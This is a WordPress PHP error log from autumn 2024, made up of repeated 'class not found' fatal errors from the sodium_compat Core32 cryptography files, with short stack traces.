#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:17:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[02-Sep-2024 22:17:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Sep-2024 22:17:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[02-Sep-2024 22:17:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Sep-2024 22:17:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[02-Sep-2024 22:17:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Sep-2024 22:17:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[02-Sep-2024 22:17:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Sep-2024 22:17:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[02-Sep-2024 22:17:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Sep-2024 22:17:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[02-Sep-2024 22:17:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Sep-2024 22:17:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[02-Sep-2024 22:17:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Sep-2024 22:17:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[02-Sep-2024 22:17:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Sep-2024 22:17:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[02-Sep-2024 22:17:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[02-Sep-2024 22:17:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[19-Sep-2024 20:21:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[19-Sep-2024 20:21:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[19-Sep-2024 20:21:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Sep-2024 20:21:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Sep-2024 20:21:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[19-Sep-2024 20:21:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[19-Sep-2024 20:21:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[19-Sep-2024 20:21:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[19-Sep-2024 20:21:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[19-Sep-2024 20:21:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[19-Sep-2024 20:21:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[19-Sep-2024 20:21:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[19-Sep-2024 20:21:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[10-Nov-2024 10:38:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[10-Nov-2024 10:38:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[10-Nov-2024 10:39:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[10-Nov-2024 10:39:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[10-Nov-2024 10:39:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[10-Nov-2024 10:39:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[10-Nov-2024 10:40:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[10-Nov-2024 10:41:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[10-Nov-2024 10:41:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[10-Nov-2024 10:41:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[10-Nov-2024 10:41:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[10-Nov-2024 10:41:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[10-Nov-2024 10:41:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[13-Nov-2024 09:49:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[13-Nov-2024 09:49:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[13-Nov-2024 09:49:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[13-Nov-2024 09:49:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[13-Nov-2024 09:49:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[13-Nov-2024 09:50:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[13-Nov-2024 09:50:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[13-Nov-2024 09:50:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[13-Nov-2024 09:50:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-Nov-2024 09:50:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-Nov-2024 09:50:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[13-Nov-2024 09:50:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[16-Nov-2024 04:25:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[16-Nov-2024 04:25:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[16-Nov-2024 04:25:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[16-Nov-2024 04:25:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[16-Nov-2024 04:25:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[16-Nov-2024 04:25:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[16-Nov-2024 04:25:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[16-Nov-2024 04:25:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[16-Nov-2024 04:25:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[16-Nov-2024 04:25:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[16-Nov-2024 04:25:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[16-Nov-2024 04:25:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[16-Nov-2024 04:25:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[17-Nov-2024 02:12:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[17-Nov-2024 02:12:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[17-Nov-2024 02:12:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[17-Nov-2024 02:12:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[17-Nov-2024 02:12:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[17-Nov-2024 02:12:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[17-Nov-2024 02:12:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[17-Nov-2024 02:12:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[17-Nov-2024 02:12:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[17-Nov-2024 02:12:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[17-Nov-2024 02:12:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[17-Nov-2024 02:12:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[17-Nov-2024 02:12:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[19-Nov-2024 00:33:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
